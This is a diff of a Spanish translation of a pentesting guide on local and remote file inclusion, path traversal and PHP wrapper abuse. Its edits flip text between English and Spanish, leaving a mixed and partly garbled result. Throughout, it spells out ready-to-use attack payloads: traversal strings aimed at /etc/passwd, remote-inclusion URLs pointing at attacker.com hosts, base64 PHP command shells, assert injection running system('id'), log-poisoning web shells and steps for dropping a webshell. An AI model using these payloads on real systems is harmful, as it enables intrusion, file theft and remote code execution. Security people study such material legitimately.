+2. **Probar carpetas:** Añade el nombre de la carpeta sospechosa (p. ej., `private`) a la URL, luego vuelve a `/etc/passwd`. El nivel de directorio adicional requiere incrementar la profundidad en uno:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
-3. **Interpretar los resultados:** La respuesta del servidor indica si el directorio existe:
-- **Error / Sin salida:** El directorio `private` probablemente no existe en la ubicación especificada.
-- **Contenido de `/etc/passwd`:** Se confirma la presencia del directorio `private`.
-4. **Exploración recursiva:** Los directorios descubiertos pueden explorarse más a fondo para buscar subdirectorios o archivos usando la misma técnica o los métodos tradicionales de Local File Inclusion (LFI).
+3. **Interpretar los resultados:** La respuesta del servidor indica si la carpeta existe:
+- **Error / Sin salida:** Es probable que la carpeta `private` no exista en la ubicación especificada.
+- **Contenido de `/etc/passwd`:** Se confirma la presencia de la carpeta `private`.
+4. **Exploración recursiva:** Las carpetas descubiertas pueden explorarse más a fondo para buscar subdirectorios o archivos usando la misma técnica o los métodos tradicionales de Local File Inclusion (LFI).
-Para explorar directorios en distintas ubicaciones del sistema de archivos, ajusta el payload en consecuencia. Por ejemplo, para comprobar si `/var/www/` contiene un directorio `private` (suponiendo que el directorio actual está a una profundidad de 3), usa:
+Para explorar directorios en distintas ubicaciones del sistema de archivos, ajusta el payload en consecuencia. Por ejemplo, para comprobar si `/var/www/` contiene un directorio `private` (asumiendo que el directorio actual está a una profundidad de 3), usa:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
-Path truncation es un método empleado para manipular rutas de archivos en aplicaciones web. A menudo se usa para acceder a archivos restringidos sorteando ciertas medidas de seguridad que añaden caracteres adicionales al final de las rutas. El objetivo es construir una ruta que, una vez alterada por la medida de seguridad, siga apuntando al archivo deseado.
+Path truncation es un método empleado para manipular rutas de archivos en aplicaciones web. A menudo se utiliza para acceder a archivos restringidos eludiendo ciertas medidas de seguridad que añaden caracteres adicionales al final de las rutas de archivos. El objetivo es crear una ruta de archivo que, una vez modificada por la medida de seguridad, siga apuntando al archivo deseado.
En PHP, varias representaciones de una ruta de archivo pueden considerarse equivalentes debido a la naturaleza del sistema de archivos. Por ejemplo:
-- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
-- Cuando los últimos 6 caracteres son `passwd`, añadir un `/` (convirtiéndolo en `passwd/`) no cambia el archivo objetivo.
-- De manera similar, si se añade `.php` a una ruta (como `shellcode.php`), agregar `/.` al final no alterará el archivo al que se accede.
+- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` se tratan todas como la misma ruta.
+- Cuando los últimos 6 caracteres son `passwd`, agregar un `/` (convirtiéndolo en `passwd/`) no cambia el archivo objetivo.
+- De forma similar, si `.php` se añade a una ruta de archivo (como `shellcode.php`), agregar `/.` al final no alterará el archivo al que se accede.
-Los ejemplos proporcionados muestran cómo utilizar path truncation para acceder a `/etc/passwd`, un objetivo común debido a su contenido sensible (información de cuentas de usuario):
+Los ejemplos proporcionados demuestran cómo utilizar path truncation para acceder a `/etc/passwd`, un objetivo común debido a su contenido sensible (información de cuentas de usuario):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@@ -125,17 +125,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
-En estos escenarios, el número de traversals necesarios podría ser aproximadamente 2027, pero este número puede variar según la configuración del servidor.
+En estos escenarios, el número de traversals necesarios podría ser alrededor de 2027, pero este número puede variar según la configuración del servidor.
-- **Using Dot Segments and Additional Characters**: Las secuencias de traversal (`../`) combinadas con segmentos adicionales de puntos y caracteres pueden usarse para navegar el sistema de archivos, ignorando efectivamente cadenas añadidas por el servidor.
-- **Determining the Required Number of Traversals**: Mediante prueba y error, se puede encontrar el número exacto de secuencias `../` necesarias para llegar al directorio raíz y luego a `/etc/passwd`, asegurando que cualquier cadena añadida (como `.php`) sea neutralizada pero la ruta deseada (`/etc/passwd`) permanezca intacta.
-- **Starting with a Fake Directory**: Es práctica común comenzar la ruta con un directorio inexistente (como `a/`). Esta técnica se usa como medida de precaución o para satisfacer los requisitos de la lógica de análisis de rutas del servidor.
+- **Using Dot Segments and Additional Characters**: Las secuencias de traversal (`../`) combinadas con segmentos de punto adicionales y caracteres pueden usarse para navegar el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor.
+- **Determining the Required Number of Traversals**: Mediante prueba y error, se puede encontrar el número preciso de secuencias `../` necesarias para navegar hasta el directorio raíz y luego a `/etc/passwd`, asegurando que cualquier cadena añadida (como `.php`) sea neutralizada pero la ruta deseada (`/etc/passwd`) permanezca intacta.
+- **Starting with a Fake Directory**: Es una práctica común comenzar la ruta con un directorio inexistente (como `a/`). Esta técnica se usa como medida de precaución o para cumplir los requisitos de la lógica de análisis de rutas del servidor.
-Al emplear técnicas de path truncation, es crucial entender el comportamiento del análisis de rutas del servidor y la estructura del sistema de archivos. Cada escenario puede requerir un enfoque distinto, y a menudo es necesario realizar pruebas para encontrar el método más efectivo.
+Al emplear técnicas de truncado de ruta, es crucial comprender el comportamiento de análisis de rutas del servidor y la estructura del sistema de archivos. Cada escenario puede requerir un enfoque distinto, y a menudo es necesario probar para encontrar el método más efectivo.
**Esta vulnerabilidad fue corregida en PHP 5.3.**
-### **Filter bypass tricks**
+### **Trucos para evadir filtros**
```
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
@@ -145,23 +145,23 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
-En php esto está deshabilitado por defecto porque **`allow_url_include`** está **Off.** Debe estar **On** para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE:
+En php esto está deshabilitado por defecto porque **`allow_url_include`** está **Off.** Debe estar **On** para que funcione, y en ese caso podrías incluir un archivo PHP desde tu server y obtener RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
-Si por alguna razón **`allow_url_include`** está **On**, pero PHP está **filtering** el acceso a páginas web externas, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), podrías usar, por ejemplo, el protocolo data con base64 para decodificar un código PHP b64 y obtener RCE:
+Si por alguna razón **`allow_url_include`** está **On**, pero PHP está **filtering** el acceso a páginas web externas, [según este post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), podrías usar por ejemplo el data protocol con base64 para decodificar un b64 PHP code y egt RCE:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
-> En el código anterior, el `+.txt` final se añadió porque el atacante necesitaba una cadena que terminara en `.txt`, así que la cadena termina con ello y después del b64 decode esa parte devolverá solo datos basura y el código PHP real será incluido (y por lo tanto, ejecutado).
-
-Otro ejemplo **sin usar el protocolo `php://`** sería:
+> En el código anterior, el `+.txt` final se añadió porque el atacante necesitaba una cadena que terminara en `.txt`, así que la cadena acaba con eso y, tras el b64 decode, esa parte devolverá solo basura y el código PHP real será incluido (y, por lo tanto, ejecutado).
+>
+> Otro ejemplo que **no usa el protocolo `php://`** sería:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
-## Python Elemento raíz
+## Elemento raíz en Python
En Python, en un código como este:
```python
@@ -173,13 +173,13 @@ Si el usuario pasa una **ruta absoluta** a **`file_name`**, la **ruta anterior s
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
-Es el comportamiento previsto según [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
+Este es el comportamiento previsto según [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
-> Si un componente es una ruta absoluta, se descartan todos los componentes anteriores y la unión continúa desde el componente de ruta absoluta.
+> Si un componente es una ruta absoluta, todos los componentes anteriores se descartan y la concatenación continúa desde el componente de ruta absoluta.
-## Listado de directorios en Java
+## Java Listar directorios
-Parece que si tienes un Path Traversal en Java y **solicitas un directorio** en lugar de un archivo, se devuelve un **listado del directorio**. Esto no ocurre en otros lenguajes (que yo sepa).
+Parece que si tienes un Path Traversal en Java y **pides un directorio** en lugar de un archivo, se devuelve **el listado del directorio**. Esto no ocurre en otros lenguajes (que yo sepa).
## Top 25 parámetros
@@ -211,31 +211,31 @@ Aquí tienes una lista de los 25 parámetros principales que podrían ser vulner
?mod={payload}
?conf={payload}
```
-## LFI / RFI usando PHP wrappers y protocolos
+## LFI / RFI using PHP wrappers & protocols
### php://filter
-Los filtros de PHP permiten realizar operaciones básicas de **modificación sobre los datos** antes de que sean leídos o escritos. Hay 5 categorías de filtros:
+PHP filters allow perform basic **modification operations on the data** before being it's read or written. There are 5 categories of filters:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
-- `string.strip_tags`: Elimina etiquetas de los datos (todo lo que esté entre los caracteres "<" y ">")
+- `string.strip_tags`: Remove tags from the data (everything between "<" and ">" chars)
- Note that this filter has disappear from the modern versions of PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
-- `convert.iconv.*` : Transforms to a different encoding(`convert.iconv..`) . Para obtener la **lista de todas las codificaciones** soportadas, ejecuta en la consola: `iconv -l`
+- `convert.iconv.*` : Transforms to a different encoding(`convert.iconv..`) . To get the **list of all the encodings** supported run in the console: `iconv -l`
> [!WARNING]
-> Abusando del filtro de conversión `convert.iconv.*` puedes **generar texto arbitrario**, lo cual puede ser útil para escribir texto arbitrario o hacer que una función como include procese texto arbitrario. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
+> Abusing the `convert.iconv.*` conversion filter you can **generate arbitrary text**, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
-- `zlib.deflate`: Comprime el contenido (útil si vas a exfiltrar mucha información)
-- `zlib.inflate`: Descomprime los datos
+- `zlib.deflate`: Compress the content (useful if exfiltrating a lot of info)
+- `zlib.inflate`: Decompress the data
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : Deprecado
- `mdecrypt.*` : Deprecado
@@ -273,23 +273,23 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
> [!WARNING]
> La parte "php://filter" no distingue entre mayúsculas y minúsculas
-### Uso de php filters como oracle para leer archivos arbitrarios
+### Using php filters as oracle to read arbitrary files
-[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) is proposed a technique to read a local file without having the output given back from the server. This technique is based on a **boolean exfiltration of the file (char by char) using php filters** as oracle. This is because php filters can be used to make a text larger enough to make php throw an exception.
+[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) se propone una técnica para leer un archivo local sin que el servidor devuelva directamente el contenido. Esta técnica se basa en una **exfiltración booleana del archivo (carácter por carácter) usando php filters** como oracle. Esto es porque los php filters pueden usarse para hacer que un texto sea lo suficientemente grande como para que php lance una excepción.
-In the original post you can find a detailed explanation of the technique, but here is a quick summary:
+En el post original puedes encontrar una explicación detallada de la técnica, pero aquí tienes un resumen rápido:
-- Use the codec **`UCS-4LE`** to leave leading character of the text at the beginning and make the size of string increases exponentially.
-- This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **error**
-- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex.
-- This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beginning of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won't delete it and the initial bomb will make php error.
-- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
-- Using other transformations like **rot13** at the beginning it’s possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
-- When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
-- The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text.
-- And in order to be able to obtain **más datos** the idea is to **generar 2 bytes de datos basura al principio** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot con los siguientes 2 bytes**, and **eliminar los datos hasta los datos basura** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the desired bit to leak.
+- Usa el codec **`UCS-4LE`** para dejar el carácter inicial del texto al principio y hacer que el tamaño de la cadena aumente exponencialmente.
+- Esto se usará para generar un **texto tan grande que, cuando la letra inicial se adivina correctamente**, php disparará un **error**.
+- El filtro **dechunk** **eliminará todo si el primer char no es un hexadecimal**, por lo que podemos saber si el primer char es hex.
+- Esto, combinado con lo anterior (y otros filters dependiendo de la letra adivinada), nos permitirá adivinar una letra al principio del texto viendo cuándo realizamos suficientes transformaciones como para que deje de ser un carácter hexadecimal. Porque si es hex, dechunk no lo eliminará y la bomba inicial provocará el error de php.
+- El codec **convert.iconv.UNICODE.CP930** transforma cada letra en la siguiente (por ejemplo: a -> b). Esto permite descubrir si la primera letra es una `a` porque si aplicamos 6 de estos codec a->b->c->d->e->f->g la letra deja de ser un carácter hexadecimal; por lo tanto dechunk no la elimina y se produce el error de php porque se multiplica con la bomba inicial.
+- Usando otras transformaciones como **rot13** al principio es posible leak otros chars como n, o, p, q, r (y otros codecs pueden usarse para mover otras letras al rango hex).
+- Cuando el carácter inicial es un número es necesario codificarlo en base64 y leak las 2 primeras letras para filtrar el número.
+- El problema final es ver **cómo leak más que la letra inicial**. Al usar filters de orden de memoria como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** es posible cambiar el orden de los chars y situar en la primera posición otras letras del texto.
+- Y para poder obtener **datos adicionales** la idea es **generar 2 bytes de basura al principio** con **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para que **gire con los siguientes 2 bytes**, y **eliminar los datos hasta la basura** (esto eliminará los primeros 2 bytes del texto inicial). Repetir hasta alcanzar el bit deseado para leak.
-In the post a tool to perform this automatically was also leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
+En el post también fue leaked una herramienta para automatizar esto: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
@@ -298,12 +298,12 @@ This wrapper allows to access file descriptors that the process has open. Potent
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
-También puedes usar **php://stdin, php://stdout and php://stderr** para acceder a los **descriptores de archivo 0, 1 y 2** respectivamente (no estoy seguro de cómo esto podría ser útil en un ataque)
+También puedes usar **php://stdin, php://stdout y php://stderr** para acceder a los **descriptores de archivo 0, 1 y 2** respectivamente (no estoy seguro de cómo podría ser útil esto en un ataque)
-### zip:// and rar://
+### zip:// y rar://
Sube un archivo Zip o Rar con un PHPShell dentro y accede a él.\
-Para poder abusar del protocolo rar **debe ser activado específicamente**.
+Para poder abusar del protocolo rar, **debe activarse específicamente**.
```bash
echo "" > payload.php;
zip payload.zip payload.php;
@@ -328,7 +328,7 @@ http://example.net/?page=data:text/plain,
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is ""
```
-Ten en cuenta que este protocolo está restringido por las configuraciones de php **`allow_url_open`** y **`allow_url_include`**
+Tenga en cuenta que este protocolo está restringido por las configuraciones de php **`allow_url_open`** y **`allow_url_include`**
### expect://
@@ -339,13 +339,13 @@ http://example.com/index.php?page=expect://ls
```
### input://
-Especifique su payload en los parámetros POST:
+Especifica tu payload en los parámetros POST:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data ""
```
### phar://
-Un archivo `.phar` puede utilizarse para ejecutar código PHP cuando una aplicación web emplea funciones tales como `include` para cargar archivos. El fragmento de código PHP mostrado a continuación demuestra la creación de un archivo `.phar`:
+Un archivo `.phar` puede utilizarse para ejecutar código PHP cuando una aplicación web emplea funciones como `include` para la carga de archivos. El fragmento de código PHP que se muestra a continuación demuestra la creación de un archivo `.phar`:
```php
addFromString('test.txt', 'text');
$phar->setStub('');
$phar->stopBuffering();
```
-Para compilar el archivo `.phar`, se debe ejecutar el siguiente comando:
+Para compilar el archivo `.phar`, debe ejecutarse el siguiente comando:
```bash
php --define phar.readonly=0 create_path.php
```
-Al ejecutarlo, se creará un archivo llamado `test.phar`, que podría aprovecharse para explotar vulnerabilidades de Local File Inclusion (LFI).
+Al ejecutarse, se creará un archivo llamado `test.phar`, que podría aprovecharse para explotar vulnerabilidades de Local File Inclusion (LFI).
-En casos donde la LFI solo realiza lectura de archivos sin ejecutar el código PHP contenido, mediante funciones como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, o `filesize()`, podría intentarse explotar una vulnerabilidad de deserialization. Esta vulnerabilidad está asociada con la lectura de archivos usando el protocolo `phar`.
+En casos donde la LFI solo realiza lectura de archivos sin ejecutar el código PHP interno, a través de funciones como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` o `filesize()`, se podría intentar explotar una vulnerabilidad de deserialización. Esta vulnerabilidad está asociada con la lectura de archivos usando el protocolo `phar`.
-For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
+Para una comprensión detallada de cómo explotar vulnerabilidades de deserialización en el contexto de archivos `.phar`, consulte el documento enlazado a continuación:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@@ -373,76 +373,76 @@ phar-deserialization.md
### CVE-2024-2961
-It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
-Very quick summary: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of a specific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**.\
-It was possible to alloc chunks of specific sizes abusing more php filters.
+Se pudo abusar de **any arbitrary file read from PHP that supports php filters** para obtener RCE. La descripción detallada puede [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
+Resumen muy rápido: un **3 byte overflow** en el heap de PHP fue explotado para **alter the chain of free chunks** de un tamaño específico con el fin de poder **write anything in any address**, por lo que se añadió un hook para llamar a **`system`**.\
+Fue posible alloc chunks de tamaños específicos abusando de más php filters.
### More protocols
-Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
+Consulte más posibles [ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
-- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escribe en memoria o en un archivo temporal (no estoy seguro de cómo esto puede ser útil en un ataque de file inclusion)
+- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escribe en memoria o en un archivo temporal (no estoy seguro de cómo esto puede ser útil en un file inclusion attack)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Acceso al sistema de archivos local
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Acceso a URLs HTTP(s)
-- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acceso a URLs FTP(s)
-- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Flujos de compresión
-- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Buscar nombres de ruta que coincidan con un patrón (No devuelve nada imprimible, por lo que no es realmente útil aquí)
+- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acceso a FTP(s) URLs
+- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Streams de compresión
+- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Find pathnames matching pattern (No devuelve nada imprimible, así que no es realmente útil aquí)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
-- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Flujos de audio (No útil para leer archivos arbitrarios)
+- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Streams de audio (No útil para leer archivos arbitrarios)
-## LFI via PHP's 'assert'
+## LFI vía 'assert' de PHP
-Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized.
+Los riesgos de Local File Inclusion (LFI) en PHP son notablemente altos cuando se trata de la función 'assert', que puede ejecutar código contenido en cadenas. Esto es especialmente problemático si se comprueba la entrada que contiene caracteres de directory traversal como ".." pero no se sanitiza correctamente.
-For example, PHP code might be designed to prevent directory traversal like so:
+Por ejemplo, el código PHP podría estar diseñado para prevenir directory traversal de la siguiente manera:
```bash
assert("strpos('$file', '..') === false") or die("");
```
-Aunque esto tiene como objetivo detener traversal, crea involuntariamente un vector para code injection. Para explotar esto y leer el contenido de archivos, un atacante podría usar:
+Aunque esto pretende detener traversal, inadvertidamente crea un vector para code injection. Para aprovechar esto y leer el contenido de archivos, un attacker podría usar:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
-De manera similar, para ejecutar comandos arbitrarios del sistema, se podría usar:
+De forma similar, para ejecutar comandos arbitrarios del sistema, se podría usar:
```plaintext
' and die(system("id")) or '
```
-Es importante **URL-encode these payloads**.
+It's important to **URL-encode these payloads**.
## PHP Blind Path Traversal
> [!WARNING]
-> Esta técnica es relevante en casos donde **controlas** la **file path** de una **PHP function** que **access a file** pero no verás el contenido del archivo (como una simple llamada a **`file()`**) ya que el contenido no se muestra.
+> Esta técnica es relevante en casos en que tú **controlas** la **ruta del archivo** de una **función PHP** que va a **acceder a un archivo** pero no verás el contenido del archivo (como una llamada simple a **`file()`**) ya que el contenido no se muestra.
-En [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo un blind path traversal puede abusarse vía PHP filter para **exfiltrate the content of a file via an error oracle**.
+En [**esta increíble publicación**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo un blind path traversal puede ser abusado mediante filtros de PHP para **exfiltrate the content of a file via an error oracle**.
-En resumen, la técnica usa la **"UCS-4LE" encoding** para hacer que el contenido de un archivo sea tan **big** que la **PHP function opening** el archivo provocará un **error**.
+En resumen, la técnica usa la codificación **"UCS-4LE"** para hacer que el contenido de un archivo sea tan **grande** que la **función PHP que abre** el archivo desencadene un **error**.
-Luego, para leak the first char se usa el filter **`dechunk`** junto con otros como **base64** o **rot13**, y finalmente los filtros **convert.iconv.UCS-4.UCS-4LE** y **convert.iconv.UTF16.UTF-16BE** se usan para **place other chars at the beggining and leak them**.
+Luego, para leak the first char se utiliza el filtro `dechunk` junto con otros como `base64` o `rot13`, y finalmente los filtros `convert.iconv.UCS-4.UCS-4LE` y `convert.iconv.UTF16.UTF-16BE` se usan para colocar otros chars al principio and leak them.
-**Funciones que podrían ser vulnerables**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (solo objetivo de solo lectura con esto)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
+**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
-Para los detalles técnicos consulta el post mencionado!
+For the technical details check the mentioned post!
## LFI2RCE
### Arbitrary File Write via Path Traversal (Webshell RCE)
-Cuando el código del lado del servidor que ingiere/sube archivos construye la ruta de destino usando datos controlados por el usuario (p. ej., un filename o URL) sin canonicalizar y validar, los segmentos `..` y las rutas absolutas pueden escapar del directorio previsto y causar una escritura arbitraria de archivos. Si puedes colocar el payload bajo un directorio expuesto en la web, normalmente obtendrás RCE no autenticada al desplegar una webshell.
+When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
-Flujo típico de explotación:
-- Identificar una primitive de escritura en un endpoint o background worker que acepte un path/filename y escriba contenido en disco (p. ej., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
-- Determinar directorios expuestos en la web. Ejemplos comunes:
-- Apache/PHP: `/var/www/html/`
-- Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp`
-- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
-- Construir una ruta de traversal que salga del directorio de almacenamiento previsto hacia el webroot, e incluir el contenido de tu webshell.
-- Accede al payload dejado y ejecuta comandos.
+Typical exploitation workflow:
+- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
+- Determine web-exposed directories. Common examples:
+ - Apache/PHP: `/var/www/html/`
+ - Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp`
+ - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
+- Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
+- Browse to the dropped payload and execute commands.
-Notas:
-- El servicio vulnerable que realiza la escritura puede escuchar en un puerto no HTTP (p. ej., un JMF XML listener en TCP 4004). El portal web principal (otro puerto) servirá más tarde tu payload.
-- En stacks Java, estas escrituras de archivos a menudo se implementan con concatenación simple de `File`/`Paths`. La falta de canonicalización/allow-listing es la falla principal.
+Notes:
+- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
+- On Java stacks, these file writes are often implemented with simple `File`/`Paths` concatenation. Lack of canonicalisation/allow-listing is the core flaw.
-Ejemplo genérico estilo XML/JMF (los esquemas de producto varían – el DOCTYPE/body wrapper es irrelevante para el traversal):
+Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml
@@ -466,26 +466,26 @@ in.transferTo(out);
```
-Medidas de hardening que mitigan esta clase de fallos:
-- Resolver a una ruta canónica y verificar que sea descendiente de un directorio base en la lista de permitidos.
-- Rechazar cualquier ruta que contenga `..`, raíces absolutas, o letras de unidad; preferir nombres de archivo generados.
-- Ejecutar el writer con una cuenta de bajos privilegios y segregar los directorios de escritura de los roots servidos.
+Hardening que derrota esta clase de bugs:
+- Resuelve la ruta a su forma canónica y verifica que sea descendiente de un directorio base en la lista de permitidos.
+- Rechaza cualquier ruta que contenga `..`, raíces absolutas o letras de unidad; prefiere nombres de archivo generados.
+- Ejecuta el proceso que escribe como una cuenta de bajos privilegios y separa los directorios de escritura de los directorios servidos.
## Remote File Inclusion
-Explicado anteriormente, [**sigue este enlace**](#remote-file-inclusion).
+Explicado previamente, [**follow this link**](#remote-file-inclusion).
### Via Apache/Nginx log file
-Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función include podrías intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, insertar en el **user agent** o en un **parámetro GET** un php shell como **``** e incluir ese archivo
+Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función include, podrías intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, colocar en el **user agent** o en un **GET parameter** un php shell como **``** e incluir ese archivo
> [!WARNING]
-> Ten en cuenta que **si usas comillas dobles** para el shell en lugar de **comillas simples**, las comillas dobles se convertirán en la cadena "_**quote;**_", **PHP lanzará un error** allí y **nada más se ejecutará**.
+> Ten en cuenta que **si usas comillas dobles** para el shell en lugar de **comillas simples**, las comillas dobles serán modificadas por la cadena "_**quote;**_", **PHP lanzará un error** y **nada más se ejecutará**.
>
-> Además, asegúrate de **escribir correctamente el payload** o PHP fallará cada vez que intente cargar el archivo de logs y no tendrás una segunda oportunidad.
+> Además, asegúrate de **escribir correctamente el payload** o PHP dará error cada vez que intente cargar el archivo de logs y no tendrás una segunda oportunidad.
-Esto también puede hacerse en otros logs pero **ten cuidado,** el código dentro de los logs podría estar codificado en URL y eso podría destruir el Shell. El encabezado **authorisation "basic"** contiene "user:password" en Base64 y se decodifica dentro de los logs. El PHPShell podría insertarse dentro de este encabezado.\
-Otros posibles paths de logs:
+Esto también puede hacerse en otros logs pero **ten cuidado,** el código dentro de los logs podría estar URL encoded y esto podría destruir el Shell. La cabecera **authorisation "basic"** contiene "user:password" en Base64 y se decodifica dentro de los logs. El PHPShell podría ser insertado dentro de esta cabecera.\
+Otros posibles archivos de log:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
